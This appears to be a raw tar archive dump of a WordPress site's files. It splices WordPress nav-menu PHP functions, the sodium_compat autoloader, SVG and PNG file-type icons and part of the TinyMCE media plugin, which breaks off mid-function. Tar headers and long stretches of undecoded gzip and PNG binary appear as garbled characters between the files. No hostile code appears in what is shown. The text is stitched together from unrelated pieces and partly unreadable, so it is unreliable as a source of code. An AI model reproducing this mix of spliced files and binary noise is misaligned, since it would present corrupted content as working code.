	$active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) );

	// Set parent's class.
	foreach ( (array) $menu_items as $key => $parent_item ) {
		$classes                                   = (array) $parent_item->classes;
		$menu_items[ $key ]->current_item_ancestor = false;
		$menu_items[ $key ]->current_item_parent   = false;

		if (
			isset( $parent_item->type )
			&& (
				// Ancestral post object.
				(
					'post_type' === $parent_item->type
					&& ! empty( $queried_object->post_type )
					&& is_post_type_hierarchical( $queried_object->post_type )
					&& in_array( (int) $parent_item->object_id, $queried_object->ancestors, true )
					&& (int) $parent_item->object_id !== $queried_object->ID
				) ||

				// Ancestral term.
				(
					'taxonomy' === $parent_item->type
					&& isset( $possible_taxonomy_ancestors[ $parent_item->object ] )
					&& in_array( (int) $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ], true )
					&& (
						! isset( $queried_object->term_id ) ||
						(int) $parent_item->object_id !== $queried_object->term_id
					)
				)
			)
		) {
			if ( ! empty( $queried_object->taxonomy ) ) {
				$classes[] = 'current-' . $queried_object->taxonomy . '-ancestor';
			} else {
				$classes[] = 'current-' . $queried_object->post_type . '-ancestor';
			}
		}

		if ( in_array( (int) $parent_item->db_id, $active_ancestor_item_ids, true ) ) {
			$classes[] = 'current-menu-ancestor';

			$menu_items[ $key ]->current_item_ancestor = true;
		}
		if ( in_array( (int) $parent_item->db_id, $active_parent_item_ids, true ) ) {
			$classes[] = 'current-menu-parent';

			$menu_items[ $key ]->current_item_parent = true;
		}
		if ( in_array( (int) $parent_item->object_id, $active_parent_object_ids, true ) ) {
			$classes[] = 'current-' . $active_object . '-parent';
		}

		if ( 'post_type' === $parent_item->type && 'page' === $parent_item->object ) {
			// Back compat classes for pages to match wp_page_menu().
			if ( in_array( 'current-menu-parent', $classes, true ) ) {
				$classes[] = 'current_page_parent';
			}
			if ( in_array( 'current-menu-ancestor', $classes, true ) ) {
				$classes[] = 'current_page_ancestor';
			}
		}

		$menu_items[ $key ]->classes = array_unique( $classes );
	}
}

/**
 * Retrieves the HTML list content for nav menu items.
 *
 * @uses Walker_Nav_Menu to create HTML list content.
 * @since 3.0.0
 *
 * @param array    $items The menu items, sorted by each menu item's menu order.
 * @param int      $depth Depth of the item in reference to parents.
 * @param stdClass $args  An object containing wp_nav_menu() arguments.
 * @return string The HTML list content for the menu items.
 */
function walk_nav_menu_tree( $items, $depth, $args ) {
	$walker = ( empty( $args->walker ) ) ? new Walker_Nav_Menu() : $args->walker;

	return $walker->walk( $items, $depth, $args );
}

/**
 * Prevents a menu item ID from being used more than once.
 *
 * @since 3.0.1
 * @access private
 *
 * @param string $id
 * @param object $item
 * @return string
 */
function _nav_menu_item_id_use_once( $id, $item ) {
	static $_used_ids = array();

	if ( in_array( $item->ID, $_used_ids, true ) ) {
		return '';
	}

	$_used_ids[] = $item->ID;

	return $id;
}

/**
 * Remove the `menu-item-has-children` class from bottom level menu items.
 *
 * This runs on the {@see 'nav_menu_css_class'} filter. The $args and $depth
 * parameters were added after the filter was originally introduced in
 * WordPress 3.0.0 so this needs to allow for cases in which the filter is
 * called without them.
 *
 * @see https://core.trac.wordpress.org/ticket/56926
 *
 * @since 6.2.0
 *
 * @param string[]       $classes   Array of the CSS classes that are applied to the menu item's `<li>` element.
 * @param WP_Post        $menu_item The current menu item object.
 * @param stdClass|false $args      An object of wp_nav_menu() arguments. Default false ($args unspecified when filter is called).
 * @param int|false      $depth     Depth of menu item. Default false ($depth unspecified when filter is called).
 * @return string[] Modified nav menu classes.
 */
function wp_nav_menu_remove_menu_item_has_children_class( $classes, $menu_item, $args = false, $depth = false ) {
	/*
	 * Account for the filter being called without the $args or $depth parameters.
	 *
	 * This occurs when a theme uses a custom walker calling the `nav_menu_css_class`
	 * filter using the legacy formats prior to the introduction of the $args and
	 * $depth parameters.
	 *
	 * As both of these parameters are required for this function to determine
	 * both the current and maximum depth of the menu tree, the function does not
	 * attempt to remove the `menu-item-has-children` class if these parameters
	 * are not set.
	 */
	if ( false === $depth || false === $args ) {
		return $classes;
	}

	// Max-depth is 1-based.
	$max_depth = isset( $args->depth ) ? (int) $args->depth : 0;
	// Depth is 0-based so needs to be increased by one.
	$depth = $depth + 1;

	// Complete menu tree is displayed.
	if ( 0 === $max_depth ) {
		return $classes;
	}

	/*
	 * Remove the `menu-item-has-children` class from bottom level menu items.
	 * -1 is used to display all menu items in one level so the class should
	 * be removed from all menu items.
	 */
	if ( -1 === $max_depth || $depth >= $max_depth ) {
		$classes = array_diff( $classes, array( 'menu-item-has-children' ) );
	}

	return $classes;
}
14338/autoload.php.tar000064400000012000151024420100010312 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/autoload.php000064400000006055151024233530026544 0ustar00<?php

if (PHP_VERSION_ID < 70000) {
    if (!is_callable('sodiumCompatAutoloader')) {
        /**
         * Sodium_Compat autoloader.
         *
         * @param string $class Class name to be autoloaded.
         *
         * @return bool         Stop autoloading?
         */
        function sodiumCompatAutoloader($class)
        {
            $namespace = 'ParagonIE_Sodium_';
            // Does the class use the namespace prefix?
            $len = strlen($namespace);
            if (strncmp($namespace, $class, $len) !== 0) {
                // no, move to the next registered autoloader
                return false;
            }

            // Get the relative class name
            $relative_class = substr($class, $len);

            // Replace the namespace prefix with the base directory, replace namespace
            // separators with directory separators in the relative class name, append
            // with .php
            $file = dirname(__FILE__) . '/src/' . str_replace('_', '/', $relative_class) . '.php';
            // if the file exists, require it
            if (file_exists($file)) {
                require_once $file;
                return true;
            }
            return false;
        }

        // Now that we have an autoloader, let's register it!
        spl_autoload_register('sodiumCompatAutoloader');
    }
} else {
    require_once dirname(__FILE__) . '/autoload-php7.php';
}

/* Explicitly, always load the Compat class: */
if (!class_exists('ParagonIE_Sodium_Compat', false)) {
    require_once dirname(__FILE__) . '/src/Compat.php';
}

if (!class_exists('SodiumException', false)) {
    require_once dirname(__FILE__) . '/src/SodiumException.php';
}
if (PHP_VERSION_ID >= 50300) {
    // Namespaces didn't exist before 5.3.0, so don't even try to use this
    // unless PHP >= 5.3.0
    require_once dirname(__FILE__) . '/lib/namespaced.php';
    require_once dirname(__FILE__) . '/lib/sodium_compat.php';
    if (!defined('SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES')) {
        require_once dirname(__FILE__) . '/lib/php84compat_const.php';
    }
} else {
    require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php';
}
if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) {
    if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) {
        require_once dirname(__FILE__) . '/lib/php72compat_const.php';
    }
    if (PHP_VERSION_ID >= 70000) {
        assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?');
    } else {
        assert(class_exists('ParagonIE_Sodium_Compat'));
    }
    require_once(dirname(__FILE__) . '/lib/php72compat.php');
} elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) {
    // Older versions of {PHP, ext/sodium} will not define these
    require_once(dirname(__FILE__) . '/lib/php72compat.php');
}
if (PHP_VERSION_ID < 80400 || !extension_loaded('sodium')) {
    require_once dirname(__FILE__) . '/lib/php84compat.php';
}
require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php');
require_once(dirname(__FILE__) . '/lib/ristretto255.php');
14338/aria-label.php.php.tar.gz000064400000001201151024420100011701 0ustar00��U�n�0���-@�a�a�i��n�sA[ ��h���KRI�"�^��d)~���M�ݝ!wH.�5vc��}���KטG��(È�$)(/�8�VQ^�q�|�>�QJ��X`�γ<Z�xAi�wK�(Cs�9tI;%<��ɤ�^�������Ɠ�ƾ���yA�N�+��1I�7��C|�(�d������==�s3W�3�82C%]Q�P��.g�[���\Zù����kU=?�$�3b�a�À�`�✙��P�ґ����o��"�(K�[����6�Q-ï�%��j:*�h�qA"��hȌ�P�
���鵚���=["�'��jB�{_�PnC�ت�����?�e\����nC�!M�eX�\Z��FŖf4�����C�FQ��L�ބ����R<<�u��[���Z�wm�j�t6��$��2\�z�}u�X<u��u$/-��_J�]SUi�P�T5v��t^K+Gg�M���%�4�<g��zmk옢��v��y�%�>���γm�������X�PJ[u���o�CY׭�C���%�X�������"�"L�|���{�Ѭ���Ai*��>?����Ĕ��ͦ��-fC����Taߒ��O�	'�p�	/�o^�2Y14338/wpemoji.tar.gz000064400000003505151024420100010017 0ustar00��X[o�H����rlpݦ��U�JTB+.�i<IM�˞4t��=s��K��>��P?$��9s�g��2�M3��g��{{+����ޝ�pgwo�`���������{f�����~�' ��L�Ȍ_cFBruwü�ǘ o(�SV�4M2���_�A�bfi&E�y7.hE�e��io�$d��T��y�K5� aZ7�Sߛ$c�(�.����h���E6� :�լz>e\"MV�8��h��ۻ	(�y����l
�G@�r��B�QP9>��πl�c����S|J�m��"K6��4�����Aܐ�S7*&g'����,4�Y�м�� ��⩛y}��1�J�YO��,E%�]��R����VG�$k��=*�ϥ��aˀ/�8�u���萏�]`V���L2�mJ%݂(mU��a�4d�\�]�2�cv&�U�s�}�y�e�Бw����ZQ��ԙ��i�4�%�Qo����&pj�Qg��Y\ҪfZ��\Y=�B��-���Ւ@���6H�M���f�&:�g�
�P�Z��+P�[�^�C�r�D9⼠չVs�!�M�ɹ���KPS��J�����JP\�8gՉ�<tu����9;=�dSN%��+�[��aU
�O�|aփ�WY˩�.���q�N�;��8!�c�j�ts�=�I��9ݷ����2�A�d�N�gi��q�'���T�*��	'gTB�ȦЎk�UAsGH����!�3	{i/gr��ZG���,�/	�
5V�C^*��>���_���c�i �.���m��:b�RǬ��J�^
�RVt�$(�š���dPǝ�
SA�A��;����'o��{c��:0�`58W�#*�U�׫�	Қd5�����9O+��X�hDa��
��T ��b}���TC/�#l�]ؚh��zG�w#��޻�:��_·h:_[Hͱ�'��촲}C�h��^���z���u74 ��G�	�sb�T���Ơ*H��M�ћA�L$�d�J	�8�'�yNK�~�[�)p������3�����0irAS�f�4T}hx���ŻW
V�ϱ�%@ij�4�'Pk�E��(J*�Ӝ�
V+���f��RA�&f��v�%�N�c�~,jy\�1���*\- ʨ�T��R�il�v�s[Rd٫!���Lk(��B�o�r\h�����R�/���&���]M�T�	`�'�_�~��AG��kO��]�Z�*her����>~�>��ukM��KA��SW�u��%��e�69�
Y�Cn��ZL�R��9��jhjn�1��Vh����WlBg�z��O�hR�y��j�+��_���3��������M��ExU���=3�{������H���%��,)pr��
#�<�>iFu�e/��� ���WM�a����̓,���EWvܺ�z�w���EުI��v�V#�-���+��9#��v���"��[��
23��O�2�
�	�O)�#�̲?��p!|��7٪?
@}�U��[�"�4��,\��q�W!�pί�wPV�B?7����"�4��=�__��h��ؕ��i�RX�0�Kt�%��J�������z���'��{
$);��T�B��	��}��5��j�A	7p�shċ4P;�'��#l)[����(��y��c�
)2���lVE���Ҁk�sZ���f"��	[B&�&ˉ�lꢐpd�ЃXBz�>!�u[����X��})�>�K�oB�ʰ>@ዠ{釣����}n���7z���<14338/media.tar000064400000232000151024420100006777 0ustar00code.png000064400000000422151024253310006156 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��f�IDAT(�����0CuPQ0FF`#d��>,�>�R~���S�wr�un��A�px��� $��`�`R����&u(R�"u(���cزB؃B8'�p
����N�	;f;u �X����c��H�I�"	R$A
j��5�
jP�ZlC]�m�k�
u-����Q!�Y!�B���^����NgIEND�B`�spreadsheet.svg000064400000000714151024253310007572 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM40 140H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm30 80h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20H10V10h60v30zm40 80h-30v-10h30v10zm0-20h-30v-10h30v10zm0-20h-30v-10h30v10zm0-20h-30v-10h30v10zm-30-20V10l30 30h-30z"/></svg>default.svg000064400000000241151024253310006702 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm0 40V10l30 30h-30z"/></svg>document.png000064400000000310151024253310007056 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��fjIDAT(��ҹ
!D�/2
�$�	E����
�cBC��^��2vO<��p�!hCP���0CІ�vA�/f��.(�����;y����%�V�p��㻱�#���}\���D�οIEND�B`�video.png000064400000000433151024253310006354 0ustar00�PNG


IHDR0@��uPLTE�����������������������������0h��tRNS@��f�IDAT8��ӻ
B1�aH�2p=-�
2�m�hi��
�E8�#����K��<(�)��#�$����xXh�4@�4�%#�$��P�$�@��I���X_�m+��`��"�
f��dpUXIЁl$�L #�7@A��3����t8�;wpU6线��;��l_[��l!IEND�B`�archive.png000064400000000641151024253310006670 0ustar00�PNG


IHDR0@yK��tRNS�[�"�ZIDATH����KAp�������걣`]:�B'/�A����o�q���9	�ew`?̼y_vj�	�Q#O��`]8Al'�!,�F0���4u�"nhsM�`5��"x@�[J�-�bO�Q��B��ڑ��d䢢q�X:؊RV��psTm)\�g)/�	v��Iy��h��eɣ�W��%n�b��i�h�t��ad��³�����'K��nC~�h����	�_]�,����c��pQ�'<�:Q}&�47Xm"�6��?��K�5��
-'�ᓵB�B�҈�iއ�S��-f�����MHl�w�C�KE��*��IEND�B`�audio.svg000064400000000600151024253310006356 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm10 72v40c0 4-1 7-4 10s-6 4-10 4-7-1-10-4-4-6-4-10 1-7 4-10 6-4 10-4c2 0 4 0 6 1V76l-35 8v34c0 5-2 8-5 10-2 2-5 3-8 3-4 0-7-1-10-4-2-3-4-6-4-10s1-7 4-10 6-4 10-4c2 0 4 0 6 1V72c0-1 0-2 1-2 1-1 2-1 3-1l43-8c1 0 2 0 3 1v10zm-10-32V10l30 30h-30z"/></svg>video.svg000064400000000456151024253310006374 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm-10 120c0 3-1 5-3 7s-4 3-7 3H30c-3 0-5-1-7-3S20 123 20 120v-30c0-3 1-5 3-7s4-3 7-3h30c3 0 5 1 7 3s3 4 3 7v30zm30 0v10l-20-20v-10l20-20v40zm-20-80V10l30 30h-30z"/></svg>interactive.svg000064400000000452151024253310007577 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm20 120h-30l10 20h-10l-10-20-10 20h-10l10-20H20V60h80v60zm-20-80V10l30 30h-30z"/><path d="M60 70h30v20h-30zM30 100h60v10H30z"/><circle cx="40" cy="80" r="10"/></svg>document.svg000064400000000476151024253310007106 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM10 10h60v10H10V10zm0 20h60v10H10V30zm0 40h40v10H10v-10zm0 20h40v10H10v-10zm70 50H10v-10h70v10zm30-20H10v-10h100v10zm0-20H60v-30h50v30zm0-40H10v-10h100v10zm-30-20V10l30 30h-30z"/></svg>code.svg000064400000000371151024253310006174 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm-30 110-10 10-30-30 30-30 10 10-20 20 20 20zm30 10-10-10 20-20-20-20 10-10 30 30-30 30zm0-80V10l30 30h-30z"/></svg>text.png000064400000000274151024253310006235 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��б�0C��2HF��^&�x4*�^#�	;SR
0�Y�����R�,�HAA�f	F
z��3�m���g�ov��LG��P�KIEND�B`�spreadsheet.png000064400000000274151024253310007560 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��ͱ
� DQ+]�H
C�L�a4|��WE�\c��ˢϪ�^Ff��ӻ�B83�HA�@�@�@�@�(`Q�"�Mc�����%�YGX˪���IEND�B`�text.svg000064400000000431151024253310006243 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM10 10h60v10H10V10zm0 20h60v10H10V30zm60 90H10v-10h60v10zm40-20H10v-10h100v10zm0-20H10v-10h100v10zm0-20H10v-10h100v10zm-30-20V10l30 30h-30z"/></svg>default.png000064400000000250151024253310006667 0ustar00�PNG


IHDR0@!N�PLTE�������������.ftRNS@��fJIDAT(S��1
�0E��lbH��0��1�.m�d�m�x�$}i��d� ވ����BV"ڃx#V��?77��J�󜏥=�IEND�B`�interactive.png000064400000000477151024253310007573 0ustar00�PNG


IHDR0@��u*PLTE������������������������������������������q�[�tRNS@��f�IDAT8����
AA��#
���pP%�(�Ԡ��d�ۑ}3�=H,1��w6���ű0�+�\b��5����i�@�x�����U�@�@x&��2S���]�t
n��!�)s�=Ȯ�0�!t��+�o<��+*��C�O�#���8�ƊN�t �P�C8BЁ�I�䈨dKr����
^�S�D)IEND�B`�archive.svg000064400000000607151024253310006705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M120 40v120H0V0h80l40 40zm-40 0h30l-30-30v30zM40 15v20l18-10-18-10zm0 30v20l18-10-18-10zm0 30v20l18-10-18-10zm30 35v-20l-18 10 18 10zm0-30v-20l-18 10 18 10zm0-30V30l-18 10 18 10zm-25 57s-4 20-5 27 7 16 15 16 16-7 15-16c-1-4-5-16-5-16l-20-11z"/><circle cx="55" cy="134" r="8"/></svg>audio.png000064400000000576151024253310006357 0ustar00�PNG


IHDR0@yK��tRNS�[�"�7IDATH��տK�P�!�C-Z��vp1���hu
"*�.�ıJ������3ywAP��v��!\.5��!�U3J
 �� �	4@�T��`���`)�@6X
>HE	���S����.Ի�7� ���v.�If'�`�bt����ҁ�$�=D�۳�$�w�&p{�:��v���q:�%�Q�b�r2
F���.5C5ߜ��r���>�_	��觹 ��V�/��Y�Š+ǹ@���tr������˯rK<#���*�|;|�˰�����d�q�Q�*�K��ui�V�IEND�B`�plugin.js000064400000120572151024273070006410 0ustar00(function () {
var media = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var getScripts = function (editor) {
      return editor.getParam('media_scripts');
    };
    var getAudioTemplateCallback = function (editor) {
      return editor.getParam('audio_template_callback');
    };
    var getVideoTemplateCallback = function (editor) {
      return editor.getParam('video_template_callback');
    };
    var hasLiveEmbeds = function (editor) {
      return editor.getParam('media_live_embeds', true);
    };
    var shouldFilterHtml = function (editor) {
      return editor.getParam('media_filter_html', true);
    };
    var getUrlResolver = function (editor) {
      return editor.getParam('media_url_resolver');
    };
    var hasAltSource = function (editor) {
      return editor.getParam('media_alt_source', true);
    };
    var hasPoster = function (editor) {
      return editor.getParam('media_poster', true);
    };
    var hasDimensions = function (editor) {
      return editor.getParam('media_dimensions', true);
    };
    var Settings = {
      getScripts: getScripts,
      getAudioTemplateCallback: getAudioTemplateCallback,
      getVideoTemplateCallback: getVideoTemplateCallback,
      hasLiveEmbeds: hasLiveEmbeds,
      shouldFilterHtml: shouldFilterHtml,
      getUrlResolver: getUrlResolver,
      hasAltSource: hasAltSource,
      hasPoster: hasPoster,
      hasDimensions: hasDimensions
    };

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var hasOwnProperty = Object.hasOwnProperty;
    var get = function (obj, key) {
      return has(obj, key) ? Option.from(obj[key]) : Option.none();
    };
    var has = function (obj, key) {
      return hasOwnProperty.call(obj, key);
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$4 = tinymce.util.Tools.resolve('tinymce.html.SaxParser');

    var getVideoScriptMatch = function (prefixes, src) {
      if (prefixes) {
        for (var i = 0; i < prefixes.length; i++) {
          if (src.indexOf(prefixes[i].filter) !== -1) {
            return prefixes[i];
          }
        }
      }
    };
    var VideoScript = { getVideoScriptMatch: getVideoScriptMatch };

    var DOM = global$3.DOM;
    var trimPx = function (value) {
      return value.replace(/px$/, '');
    };
    var getEphoxEmbedData = function (attrs) {
      var style = attrs.map.style;
      var styles = style ? DOM.parseStyle(style) : {};
      return {
        type: 'ephox-embed-iri',
        source1: attrs.map['data-ephox-embed-iri'],
        source2: '',
        poster: '',
        width: get(styles, 'max-width').map(trimPx).getOr(''),
        height: get(styles, 'max-height').map(trimPx).getOr('')
      };
    };
    var htmlToData = function (prefixes, html) {
      var isEphoxEmbed = Cell(false);
      var data = {};
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: 'script,noscript',
        start: function (name, attrs) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
            isEphoxEmbed.set(true);
            data = getEphoxEmbedData(attrs);
          } else {
            if (!data.source1 && name === 'param') {
              data.source1 = attrs.map.movie;
            }
            if (name === 'iframe' || name === 'object' || name === 'embed' || name === 'video' || name === 'audio') {
              if (!data.type) {
                data.type = name;
              }
              data = global$2.extend(attrs.map, data);
            }
            if (name === 'script') {
              var videoScript = VideoScript.getVideoScriptMatch(prefixes, attrs.map.src);
              if (!videoScript) {
                return;
              }
              data = {
                type: 'script',
                source1: attrs.map.src,
                width: videoScript.width,
                height: videoScript.height
              };
            }
            if (name === 'source') {
              if (!data.source1) {
                data.source1 = attrs.map.src;
              } else if (!data.source2) {
                data.source2 = attrs.map.src;
              }
            }
            if (name === 'img' && !data.poster) {
              data.poster = attrs.map.src;
            }
          }
        }
      }).parse(html);
      data.source1 = data.source1 || data.src || data.data;
      data.source2 = data.source2 || '';
      data.poster = data.poster || '';
      return data;
    };
    var HtmlToData = { htmlToData: htmlToData };

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Promise');

    var guess = function (url) {
      var mimes = {
        mp3: 'audio/mpeg',
        wav: 'audio/wav',
        mp4: 'video/mp4',
        webm: 'video/webm',
        ogg: 'video/ogg',
        swf: 'application/x-shockwave-flash'
      };
      var fileEnd = url.toLowerCase().split('.').pop();
      var mime = mimes[fileEnd];
      return mime ? mime : '';
    };
    var Mime = { guess: guess };

    var global$6 = tinymce.util.Tools.resolve('tinymce.html.Schema');

    var global$7 = tinymce.util.Tools.resolve('tinymce.html.Writer');

    var DOM$1 = global$3.DOM;
    var addPx = function (value) {
      return /^[0-9.]+$/.test(value) ? value + 'px' : value;
    };
    var setAttributes = function (attrs, updatedAttrs) {
      for (var name in updatedAttrs) {
        var value = '' + updatedAttrs[name];
        if (attrs.map[name]) {
          var i = attrs.length;
          while (i--) {
            var attr = attrs[i];
            if (attr.name === name) {
              if (value) {
                attrs.map[name] = value;
                attr.value = value;
              } else {
                delete attrs.map[name];
                attrs.splice(i, 1);
              }
            }
          }
        } else if (value) {
          attrs.push({
            name: name,
            value: value
          });
          attrs.map[name] = value;
        }
      }
    };
    var updateEphoxEmbed = function (data, attrs) {
      var style = attrs.map.style;
      var styleMap = style ? DOM$1.parseStyle(style) : {};
      styleMap['max-width'] = addPx(data.width);
      styleMap['max-height'] = addPx(data.height);
      setAttributes(attrs, { style: DOM$1.serializeStyle(styleMap) });
    };
    var updateHtml = function (html, data, updateAll) {
      var writer = global$7();
      var isEphoxEmbed = Cell(false);
      var sourceCount = 0;
      var hasImage;
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: 'script,noscript',
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
            isEphoxEmbed.set(true);
            updateEphoxEmbed(data, attrs);
          } else {
            switch (name) {
            case 'video':
            case 'object':
            case 'embed':
            case 'img':
            case 'iframe':
              if (data.height !== undefined && data.width !== undefined) {
                setAttributes(attrs, {
                  width: data.width,
                  height: data.height
                });
              }
              break;
            }
            if (updateAll) {
              switch (name) {
              case 'video':
                setAttributes(attrs, {
                  poster: data.poster,
                  src: ''
                });
                if (data.source2) {
                  setAttributes(attrs, { src: '' });
                }
                break;
              case 'iframe':
                setAttributes(attrs, { src: data.source1 });
                break;
              case 'source':
                sourceCount++;
                if (sourceCount <= 2) {
                  setAttributes(attrs, {
                    src: data['source' + sourceCount],
                    type: data['source' + sourceCount + 'mime']
                  });
                  if (!data['source' + sourceCount]) {
                    return;
                  }
                }
                break;
              case 'img':
                if (!data.poster) {
                  return;
                }
                hasImage = true;
                break;
              }
            }
          }
          writer.start(name, attrs, empty);
        },
        end: function (name) {
          if (!isEphoxEmbed.get()) {
            if (name === 'video' && updateAll) {
              for (var index = 1; index <= 2; index++) {
                if (data['source' + index]) {
                  var attrs = [];
                  attrs.map = {};
                  if (sourceCount < index) {
                    setAttributes(attrs, {
                      src: data['source' + index],
                      type: data['source' + index + 'mime']
                    });
                    writer.start('source', attrs, true);
                  }
                }
              }
            }
            if (data.poster && name === 'object' && updateAll && !hasImage) {
              var imgAttrs = [];
              imgAttrs.map = {};
              setAttributes(imgAttrs, {
                src: data.poster,
                width: data.width,
                height: data.height
              });
              writer.start('img', imgAttrs, true);
            }
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var UpdateHtml = { updateHtml: updateHtml };

    var urlPatterns = [
      {
        regex: /youtu\.be\/([\w\-_\?&=.]+)/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$1',
        allowFullscreen: true
      },
      {
        regex: /youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$2?$4',
        allowFullscreen: true
      },
      {
        regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$1',
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/([0-9]+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc',
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/(.*)\/([0-9]+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//player.vimeo.com/video/$2?title=0&amp;byline=0',
        allowFullscreen: true
      },
      {
        regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//maps.google.com/maps/ms?msid=$2&output=embed"',
        allowFullscreen: false
      },
      {
        regex: /dailymotion\.com\/video\/([^_]+)/,
        type: 'iframe',
        w: 480,
        h: 270,
        url: '//www.dailymotion.com/embed/video/$1',
        allowFullscreen: true
      },
      {
        regex: /dai\.ly\/([^_]+)/,
        type: 'iframe',
        w: 480,
        h: 270,
        url: '//www.dailymotion.com/embed/video/$1',
        allowFullscreen: true
      }
    ];
    var getUrl = function (pattern, url) {
      var match = pattern.regex.exec(url);
      var newUrl = pattern.url;
      var _loop_1 = function (i) {
        newUrl = newUrl.replace('$' + i, function () {
          return match[i] ? match[i] : '';
        });
      };
      for (var i = 0; i < match.length; i++) {
        _loop_1(i);
      }
      return newUrl.replace(/\?$/, '');
    };
    var matchPattern = function (url) {
      var pattern = urlPatterns.filter(function (pattern) {
